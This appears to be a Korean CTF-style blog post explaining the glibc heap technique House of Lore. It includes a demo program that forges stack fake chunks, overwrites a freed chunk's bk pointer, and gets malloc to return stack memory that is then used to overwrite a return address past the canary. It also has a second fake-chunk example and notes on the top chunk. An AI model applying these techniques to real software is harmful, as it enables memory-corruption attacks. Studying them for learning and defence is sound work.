Pwnable/Tech

house of lore 간단 설명

Kon4 2023. 1. 30. 20:42

house_of_lore

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main(int argc, char * argv[]){
  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  printf("nWelcome to the House of Lore\\n");
  printf("This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n");
  printf("This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23n\\n");
  printf("Allocating the victim chunk\\n");
  intptr_t *victim = malloc(0x80);
  printf("Allocated the first small chunk on the heap at %p\\n", victim);
  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;
  printf("stack_buffer_1 at %p stack_buffer_1[1] at %p\\n", (void*)stack_buffer_1,(void*)&stack_buffer_1[1]);
  printf("stack_buffer_2 at %p stack_buffer_2[1] at %p\\n", (void*)stack_buffer_2,(void*)&stack_buffer_2[1]);
  printf("Create a fake chunk on the stack\\n");
  printf("Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted "
         "in second to the last malloc, which putting stack address on smallbin list\\n");
  stack_buffer_1[2] = victim_chunk; // fd
  printf("Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack\\n");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2; //bk
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1; // fd

  printf("Allocating another large chunk in order to avoid consolidating the top chunk with "
         "the small one during the free()\\n");
  void *p5 = malloc(1000);
  printf("Allocated the large chunk on the heap at %p\\n", p5);

  printf("Freeing the chunk %p, it will be inserted in the unsorted bin\\n", victim);
  free((void*)victim);

  printf("nIn the unsorted bin the victim's fwd and bk pointers are nil\\n");
  printf("victim->fwd: %p\\n", (void *)victim[0]);
  printf("victim->bk: %pn\\n", (void *)victim[1]);

  printf("Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n");
  printf("This means that the chunk %p will be inserted in front of the SmallBin\\n", victim);

  void *p2 = malloc(1200);
  printf("The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n", p2);

  printf("The victim chunk has been sorted and its fwd and bk pointers updated\\n");
  printf("victim->fwd: %p\\n", (void *)victim[0]);
  printf("victim->bk: %pn\\n", (void *)victim[1]);
  //------------VULNERABILITY-----------

  printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------

  printf("Now allocating a chunk with size equal to the first one freed\\n");
  printf("This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n");

  void *p3 = malloc(0x80);
  printf("p3 = %p\\n",p3 );

  printf("This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n");
  char *p4 = malloc(0x80);
  printf("p4 = malloc(0x80)\\n");
  printf("nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n",
         stack_buffer_2[2]);
  printf("np4 is %p and should be on the stack!\\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

house of lore

결론: small bin 을 할당할 수 있을 때 임의의 주소에 heap 할당 가능

단, fake chunk를 2개 만들 수 있고 small bin 크기의 청크를 해제와 할당을 자유롭게 할 수 있어야함.

—>smallbin의 bk→ fd 검증 우회 시 binlist 에 bk 가 들어가는 점을 활용.

(웃긴점, size 검사 또한 하지 않아 fake청크에서 size를 입력하지 않아도 된다. 즉 fd, bk 컨트롤만 되면 됨)

House of Lore 는 _int_malloc 함수의 코드중

if (in_smallbin_range (nb))
{
    idx = smallbin_index (nb);
    bin = bin_at (av, idx);
    if ((victim = last (bin)) != bin)
    {
        if (victim == 0) /* initialization check */
            malloc_consolidate (av);
        else
        {
            bck = victim->bk;
            if (__glibc_unlikely (bck->fd != victim))
            {
                errstr = "malloc(): smallbin double linked list corrupted";
                goto errout;
            }
            set_inuse_bit_at_offset (victim, nb);
            bin->bk = bck;
            bck->fd = bin;
            ...
        }
    }
}

: 해당 기법은 small bin 크기의 힙이 존재할 때 bck-fd( 이전 청크의 fd 값) 을 조작하여 Heap Chunk 를 조작하는 방법이다.

우회 순서

  1. smallbin 크기의 힙을 할당해야 합니다.
  2. smallbin 에서 제일 마지막에 있는 Heap Chunk의 포인터를 가져와 할당하려는 힙과 같은  bin인지를 확인하고, 같은  bin 이라면 "malloc(): memory corruption" 에러를 출력하고 비정상 종료합니다.
  3. victim->bk->fd 가 현재 할당되려는 victim 주소와 다르면 "malloc:() smallbin double linked list corrupted" 에러를 출력하고 비정상 종료합니다.

위 조건들이 충족하면 임의의 주소에 힙을 할당 있다.

Fake Chunk 구성 (우회를 위한)

Ex..)

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
    uint64_t  *ptr1, *ptr2, *ptr3, *top;
    uint64_t *fake1, *fake2;
    uint64_t fake_chunk[4];
    uint64_t fake_chunk2[3];
 
    fprintf(stderr, "fake_chunk: %p\\n", fake_chunk);
    fprintf(stderr, "fake_chunk2: %p\\n", fake_chunk2);
 
    ptr1 = malloc(0x100);
    ptr2 = malloc(0x100);
    ptr3 = malloc(0x100);
 
    fprintf(stderr, "ptr1: %p\\n", ptr1);
    fprintf(stderr, "ptr2: %p\\n", ptr2);
    fprintf(stderr, "ptr3: %p\\n", ptr3);
 
    free(ptr1);
    free(ptr3);
 
    top = malloc(0x110);
 
    fake_chunk[0] = 0; //prev size
    fake_chunk[1] = 0x0; //size
    fake_chunk[2] = (uint64_t)ptr1 - 0x10; //fd
 
    ptr1[1] = (uint64_t)&fake_chunk; //bk
 
    fake1 = malloc(0x100); 
 
    fake_chunk[3] = (uint64_t)&fake_chunk2; //bk
    fake_chunk2[2] = (uint64_t)&fake_chunk; //fd
 
    fake2 = malloc(0x100); //victim malloc2
 
    fprintf(stderr, "fake1: %p\\n", fake1);
    fprintf(stderr, "fake2: %p\\n", fake2);
    
    return 0;
}

다음과 같은 형태로 만들어 주면 fake_chunk (임의의 주소) 에 힙을 할당 받을 수 있다.

 

  • top chunk ..

Top Chunk는 메모리 끝 부분에 위치한 청크를 뜻한다. 이는 어떠한 bin에도 속하지 않고 다음과 같이 top 청크를 활용한다.

  • 사용자가 요청한 사이즈를 처리할 적당한 청크를 어떠한 bin에서도 찾을 수 없을때

: 이런 경우 top청크를 확인한다. 요청 사이즈가 현재 top 청크 크기보다 작을 경우, top 청크를 분할하여 할당해준다

  • 사용자가 요청한 사이즈를 처리할 적당한 청크를 어떠한 bin에서도 찾을 수 없고, 현재 top 청크 사이보다 요청 사이즈가 더 클때
  • 2가지의 형태로 작동한다. 1. top chunk < 요청 사이즈 < 128 kb 이런 경우 main_arena는 sysmalloc 함수를 통해 sbrk syscall을 호출하여 확장시키고 thread_arena는 mmap으로 확장시킨다 2. top chunk < 128kb < 요청 사이즈 main_arena, thread_arena 둘다 mmap으로 확장시킨다.
  • fast bin 을 제외하고 모든 bin(small, unsorted)들은 top 청크 바로 이전 청크가 해제된 경우, top 청크와 병합하는데, 병합된 top 청크가 m_trim_threshold라는 내부적인 특정 임계값 보다 커졌다면, top 청크를 축소한다

(Ref. https://jeongzero.oopy.io/c2d97ae0-eecb-4ed9-a247-a5eec5cc103d#9bf301a2-f69e-4172-84e3-a08e5c1ac46d) 까망눈 연구소

 

 

(혹시 부족한 점이나 틀린 점 있다면 댓글 달아주세요! 바로 수정하겠습니다.!!)